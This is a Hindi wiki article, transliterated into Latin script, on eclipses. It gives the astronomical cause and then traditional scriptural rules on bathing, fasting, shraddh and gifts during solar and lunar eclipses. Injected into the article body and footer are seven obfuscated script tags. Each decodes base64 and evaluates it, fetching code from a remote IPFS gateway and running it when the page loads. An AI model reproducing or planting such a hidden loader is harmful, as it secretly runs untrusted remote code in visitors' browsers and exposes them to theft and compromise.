ग्रहण

[[chitr:Lunar-Eclipse.jpg|thumb|250px|chandr grahan ki kuchh jhalakiyaan]] (aangrezi bhasha:- Eclipse) grahan ek khagoliy avastha hai jisamean kisi khagoliy pind (grah ya upagrah) ka poorn athava aanshik roop se kisi any pind se dhak jana ya pichhe a jana arthath kisi prakash ke srot jaise soory aur doosare khagoliy piand jaise prithvi ke bich a jana jisase prakash ka kuchh samay ke liye avarodh ho jata hai, grahan kahalata hai. jab koee khagoliy pind kisi any pind dvara badhit hokar nazar nahian ata, tab grahan hota hai. soory ek prakash pind hai, jisake charoan or grah ghoom rahe hai. apani kakshaoan mean ghoomate hue jab tin khagoliy pind ek rekha mean a jate hai tab grahan hota hai. inamean mukhy roop se prithvi ke sath hone vale grahanoan mean nimnalikhit ullekhaniy haian :-

1. chandr grahan - is grahan mean chaand ya chandrama aur soory ke bich prithvi a jati hai. aisi sthiti mean chaand prithvi ki chhaya se hokar gujarata hai. aisa sirf poornima ke din sanbhav hota hai.
2. soory grahan - is grahan mean chaand soory aur prithvi ek hi sidh mean hote haian aur chaand prithvi aur soory ke bich hone ki vajah se chaand ki chhaya prithvi par p dati hai. aisa akasar amavasya ke din hota hai.
3. poorn grahan - yah grahan tab hota hai jab khagoliy piand jaise prithvi par prakash poori tarah avaruddh ho jaye. aanshik grahan ki sthiti mean prakash ka srot poori tarah avaruddh nahian hota.

grahan ka shastroan ke anusar varnan

yah vaijnanik vishleshan n hokar keval pauranik jyotish aur khagol shastr dvara di gee grahan ki vyakhya matr hai-

prachin kaloan se soory-chandr-grahanoan ko mahattv diya jata raha hai. grahan ke sambandh mean vishal sahity ka nirman ho chuka hai. sambandhit granth haian-

1. hemadri
2. kalavivek
3. krityaratnakar
4. kalanirnay
5. varshakriyakaumudi
6. tithitattv
7. krityatattv
8. nirnayasindhu
9. smritikaustubh
10. dharmasindhu
11. gadadharapaddhati

soory aur chandr grahan

• poorn soory-grahan ka sanket rrigved mean bhi hai.
• shaankhayan brahman mean aya hai ki atri ne vishuvat (vishuv) ke tin din poorv saptadash-stom krity kiya aur usake dvara us svarbhanu ko pachha da jisane soory ko aandhakar se bhed diya tha, arthath sooryagrahan sharad vishuv ke tin din poorv hua tha.

thumb|250px|left|grahan

• brihatsanhita se prakat hota hai ki grahan ka vastavik karan bharatiy jyotish shastrajnoan ko varahamihir (eesa ki chhathi shatabdi ka poorvardh) ke kee shatabdiyoan poorv se jnat tha. varahamihir ne likha hai - chandragrahan mean chandr prithivi ki chhaya mean a jata hai tatha sooryagrahan mean chandr soory mean pravisht ho jata hai. (arthath soory evan prithivi ke bich mean chandr a jata hai.), grahanoan ke is karan ko pahale ke achary apani divy drishti se janate the; rahu grahanoan ka karan nahian hai, yahi saty sthiti hai jise shastr ghoshit karata hai. is saty siddhant ke rahate hue samany log, yahaan tak ki padhe-likhe log (kintu jyotishashastrajn nahian). pahale vishvas karate the aur ab bhi vishvas karate haian ki rahu ke karan grahan lagate haian aur unhean snan, dan, jap, shraddh adi ka vishisht avasar manate haian. varahamihir ne shruti, smriti, samany vishvas evan jyotish ke siddhant ka samadhan karane ka prayatn kiya hai aur kaha hai ki ek asur tha jise brahma ne varadan diya ki grahan par diye gaye danoan evan ahutiyoan se tum ko santushti prapt hogi. vahi asur apana aansh grahan karane ko upasthit rahata hai v use lakshanik roop se rahu kaha jata hai. buddhivad, samany paramparaean evan andhavishvas ek-sath nahian chal sakate. soory evan chandr ke grahanoan mean kuchh antar upasthit kiya gaya tha.
• vyas ki ukti hai- 'chandragrahan (samany din se) ek lakhaguna (phaladayak) hai aur soory grahan pahale se dasaguna, yadi ganga-jal (snan ke lie) pas mean ho to chandragrahan ek karodaguna adhik (phaladayak) hai aur sooryagrahan usase das-guna adhik grahan-darshan par pratham kartavy hai snan karana. aisa kaha gaya hai ki rahu dekhane par sabhi varnoan ke log apavitr ho jate haian. unhean sarvapratham snan karana chahie, tab any kartavy karane chahie, (grahan ke poorv) pakaye hue bhojan ka tyag kar dena chahie.
• grahan ke samay ke vishay mean vichitr punitata ka ullekh hua hai, yadi koee vyakti grahan-kal evan sankranti-kal mean snan nahian karata to vah bhavi sat janmoan mean kodhi ho jayaga aur du:kh ka bhagi hoga (s.m., pri. 130). use thande jal mean snan karana chahie aur vah bhi yathasambhav pavitr sthal par. punitatam snan ganga nadi mean ya godavari mean ya prayag mean hota hai, isake uparant kisi bhi b di nadi mean, yatha 6 nadiyaan jo himalay se nikali haian, 6 nadiyaan jo vindhy se nikali haian, isake uparant kisi bhi jal mean, kyoanki grahan ke samay sabhi jal ganga ke saman pavitr ho uthate haian. garm jal ka snan keval bachchoan, boodhoan evan rogiyoan ke lie ajnapit hai.
• grahan arambh hone par snan, hom, devoan ki pooja, grahan ke samay shraddh, jab grahan samapt hone ko ho to dan tatha jab grahan samapt ho jay to pun: snan karana chahie. janan-maran ke samay ashauch par bhi grahan ke samay snan karana chahie, kintu gau d-lekhakoan ke mat se, use dan ya shraddh nahian karana chahie. is vishay mean madanaratn tatha nirnayasindhu ne virodhi mat diya hai; unake mat se ashauch mean snan, dan, shraddh evan prayashchitt karana chahie.
• kuchh puranoan evan nibandhoan mean kuchh vishisht masoan ke grahanoan ke phaloan tatha kuchh vishisht nadiyoan ya poot sthaloan mean snan ke phaloan mean antar pratipadit hue haian.
• kalanirnay ne chandragrahan par godavari mean evan sooryagrahan par narmada mean snan ki vyavastha di hai.
• krityakalpataroo (naiyatakal), hemadri (kal) evan kalavivek ne devipuran ki uktiyaan di haian, jinamean kuchh nimn haian- 'kartik ke grahan mean ganga-yamuna-sangam shreshth hai, margashirsh mean devika mean, paush mean narmada mean, magh mean sannihita nadi pavitr hai' adi-adi. samany niyam yah hai ki ratri mean snan, dan evan shraddh varjit hai.
• apastambamantrapath mean aya hai- 'ratri mean use snan nahian karana chahie.'
• manusmriti ka kathan hai- ratri mean snan nahian hona chahie, kyoanki vah rakshasi ghoshit hai, aur donoan sandhyayoan mean tatha jab soory abhi-abhi udit hua hai snan nahian karana chahie. kintu grahan mean snan, dan evan shraddh apavad haian.
• yajnavalkyasmriti ke anusar grahan shraddh-kal kaha gaya hai.
• shatatap ka kathan hai ki grahan ke samay danoan, snanoan, tapoan evan shraddhoan se akshay phal prapt hote haian, any krityoan mean ratri (grahanoan ko chho dakar) rakshasi hai, at: isase vimukh rahana chahie.
• mahabharat mean aya hai- 'ayan evan vishuv ke dinoan mean, chandr-soory-grahanoan par vyakti ko chahie ki vah supatr brahman ko dakshina ke sath bhoomidan de,'.
• yajnavalkyasmriti mean hai ki 'keval vidya ya tap se hi vyakti supatr nahian hota, vahi vyakti patr hai jisamean ye donoan tatha karm (in donoan ke samanuroop) paye jayean.'
• katipay shilalekhoan mean grahan ke samay ke bhoomidanoan ka ullekh hai; prachin evan madhy kaloan mean raja evan dhani log aisa karate the. aj bhi grahan ke samay daridr log nagaroan evan bastiyoan mean vastroan evan paisoan ke lie shor-gul karate drishtigochar hote haian.

grahan ke samay shraddh

[[chitr:Solar-Eclipse.jpg|thumb|250px|soory grahan]] grahan ke samay shraddh-karm karana do karanoan se kathin hai-

1. adhikaansh mean grahan alpavadhi ke hote haian,
2. doosare, grahan ke samay bhojan karana varjit hai. grahan ke samay bhojan karane se prajapaty prayashchitt karana p data hai. isi se kuchh smritiyoan evan nibandhoan mean aisa aya hai ki shraddh am-shraddh ya hem-shraddh hona chahie. grahan ke samay shraddh karane se b da phal milata hai, kintu us samay bhojan karane par prayashchitt karana p data hai aur vyakti any logoan ki drishti mean gir jata hai.

• mitakshar ne uddhrit kiya hai- 'soory ya chandr ke grahanoan ke samay bhojan nahian karana chahie.' at: koee patr brahman asani se nahian mil sakata, aur vistar ke sath shraddh-karm ek prakar se asambhav hai. tab bhi shatatap adi kahate haian ki shraddh karana avashyak hai- 'rahu darshan par vyakti ko shraddh karana chahie, yahaan tak ki apani sampoorn sampatti ke sath; jo vyakti shraddh nahian karata vah gay ke saman pank mean doob jata hai.'

grahan ka vidhan

grahan par krityoan ke kram yoan haian-

1. ganga ya kisi any jal mean snan,
2. pranayam,
3. tarpan,
4. gayatrijap,
5. agni mean til evan vyahritiyoan tatha grahoan ke lie vyavasthit mantroan ke sath hom, isake uparant
6. am-shraddh, sona, gayoan evan bhoomi ke dan. ajakal adhikaansh log grahan ke samay snan karate haian aur kuchh dan bhi karate haian kintu grahan-sambandhi any krity nahian karate. grahan-kal jap, diksha, mantr-sadhana (vibhinn devoan ke nimitt) ke lie uttam kal hai. jab tak grahan aankhoan se dikhaee deta hai tab tak ki avadhi punyakal kahi jati hai.

vibhinn mat

• jabali mean aya hai- 'sankranti mean isake idhar-udhar 16 kalaoan tak punyakal rahata hai kintu sooryachandr-brahan mean yah keval tab tak rahata hai jab tak grahan darshan hota rahata hai. is vishay mean madhyakalik granthoan mean b de mat-matantar haian. vibhed 'yavaddarshanagochar' evan 'rahu-darshan' shabdoan ko lekar hai.
• krityakalpataroo ka tark hai ki 'darshan' shabd katipay krityoan (yatha snan, dan adi) ke karan evan avasar ko batata hai, grahan to tabhi avasar hai jab yah jana ja sake ki vah ghatit hua hai aur yah jnan aankh se prapt hota hai tatha jab soory ya chandr badaloan mean chhipa ho to vyakti grahan ke samay ke pratipadit karm nahian bhi kar sakata hai. hemadri ne isaka uddharan dekar isaki alochana ki hai. ve manu ke is kathan par vishvas karate haian ki vyakti ko udit hote hue, ast hote hue ya jab usaka grahan ho yah jal mean pratibimbit ho ya jab soory madhyahn mean ho to usako nahian dekhana chahie. aisi sthiti mean manu ke mat se vastavik grahan-darshan asambhav hai aur tab to vyakti snan nahian kar sakata. hemadri ka kathan hai ki shisht log snan adi karate haian, bhale hi ve grahan ko vastavik roop mean n dekh sakean. at: unake mat se punyakal tab tak rahata hai jab tak (jyotish) shastr dvara vah samapt n samajha jay.

[[chitr:Lunar-Eclipse-1.jpg|thumb|250px|left|chandr grahan ki kuchh jhalakiyaan]]

• krityaratnakar (pri. 526) ka kathan hai ki jab tak uparag (grahan) darshan yogy rahata hai tab tak snanadi kriya hoti rahati hai. kuchh logoan ne to aisa tark kiya hai ki keval grahan-matr (darshan nahian) aisa avasar hai jab ki snan, dan adi krity kiye jane chahie, kintu kalavivek (pri. 521) ne uttar diya hai. ki yadi grahan-matr hi snanadi ka avasar hai to aisi sthiti utpann ho jaegi ki yadi chandr ka grahan kisi any dvip mean ho to vyakti ko din mean hi sooryagrahan ke saman apane desh mean snanadi karane hoange.
• smritikaustubh (pri. 70) evan samayaprakash (pri. 126) ne isilie kaha hai ki 'darshanagochar' ka tatpary yah hai ki jab vyakti jyotishashastr se janata hai ki kisi desh mean grahan aankhoan se dekha ja sakata hai to use us kal mean snanadi krity karane chahie. (bhale hi vah use n dekh sake)
• sanvatsar pradip ne spasht likha hai- 'vahi grahan hai jo dekha ja sake, vyakti ko aise grahan par dharmik krity karane chahie, keval ganana par hi ashrit nahian rahana chahie.' yadi sooryagrahan ravivar ko evan chandragrahan somavar ko ho to aisa sammilan 'choo damani' kahalata hai aur aisa pratipadit hai ki choo damani grahan any grahanoan ki apeksha ek koti adhik phaladayak hota hai.
• kuchh logoan ne aisa pratipadit kiya hai ki grahan ke ek din poorv upavas karana chahie, kintu hemadri ne kaha hai ki upavas grahan-din par hi hona chahie. kintu putravan grihasth ko upavas nahian karana chahie. bahut prachin kaloan se grahan ke poorv, usake samay tatha uparant bhojan karane ke vishay mean vistar ke sath niyam bane haian. inamean katipay shlok vibhinn logoan dvara vibhinn logoan ke kahe gaye haian.
• vishnudharmasootr mean vyavastha hai- 'chandr ya soory ke grahan-kal mean bhojan nahian karana chahie; jab grahan samapt ho jay to snan karake khana chahie; yadi grahan ke poorv hi soory ya chandr ast ho jayean to snan karana chahie aur sooryoday dekhane ke uparant hi pun: khana chahie.' yahi bat kuchh granthoan mean uddhrit do shlokoan mean vistarit hai- 'soory-grahan ke poorv nahian khana chahie aur chandr-grahan ke din ki sandhya mean bhi nahian khana chahie; grahan-kal mean bhi nahian khana chahie; kintu jab soory evan chandr grahan se mukt ho jayean to snanoparant khaya ja sakata hai; jab chandr mukt ho jay to usake uparant ratri mean bhi khaya ja sakata hai, kintu yah tabhi kiya ja sakata hai jab mahanisha n ho; jab grahan se mukt hone ke poorv hi soory ya chandr ast ho jayean to doosare din unake uday ko dekhakar hi snan karake khana chahie.'
• yah bhi kaha gaya hai ki n keval grahan ke kal mean hi khana nahian chahie, pratyut chandragrahan mean arambh hone se 3 prahar (9 ghante ya 22.5 ghatikaean) poorv bhi bhojan nahian karana chahie aur sooryagrahan ke arambh ke char prahar poorv bhojan nahian karana chahie; kintu yah niyam bachchoan, vriddhoan evan striyoan ke lie nahian hai. yah tin ya char praharoan ki avadhi (grahan ke poorv se) prachin kal se ab tak 'vedh' nam se vikhyat hai. krityatattv (pri. 434) ne bhojan vishayak sabhi uparyukt niyam ek sthan par ekatr kar rakhe haian. aj ye niyam bhali bhaanti nahian sampadit hote, kintu aj se lagabhag 70 varsh poorv aisi sthiti nahian thi.

grahan ke phal

grahanoan se utpann bahut se phaloan ki charcha huee hai. do-ek udaharan yahaan diye jate haian. vishnudharmottar mean aya hai- 'yadi ek hi mas mean pahale chandr aur uparant soory ke grahan hoan to is ghatana ke phalasvaroop brahmanoan evan kshatriyoan mean jhag de ya virodh utpann hoange, kintu yadi isaka ulata ho to samriddhi ki vriddhi hoti hai. usi puran mean yah bhi aya hai- 'us nakshatr mean, jisamean soory ya chandr ka grahan hota hai, utpann vyakti du:kh pate haian, kintu in du:khoan ka marjan shanti krityoan se ho sakata hai.' is vishay mean atri ki ukti hai- 'yadi kisi vyakti ke janm-din ke nakshatr mean chandr evan soory ka grahan ho to us vyakti ko vyadhi, pravas, mrityu evan raja se bhay hota hai. [[chitr:Eclipse-1.jpg|thumb|600px|center|chandr grahan ki kuchh jhalakiyaan]] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>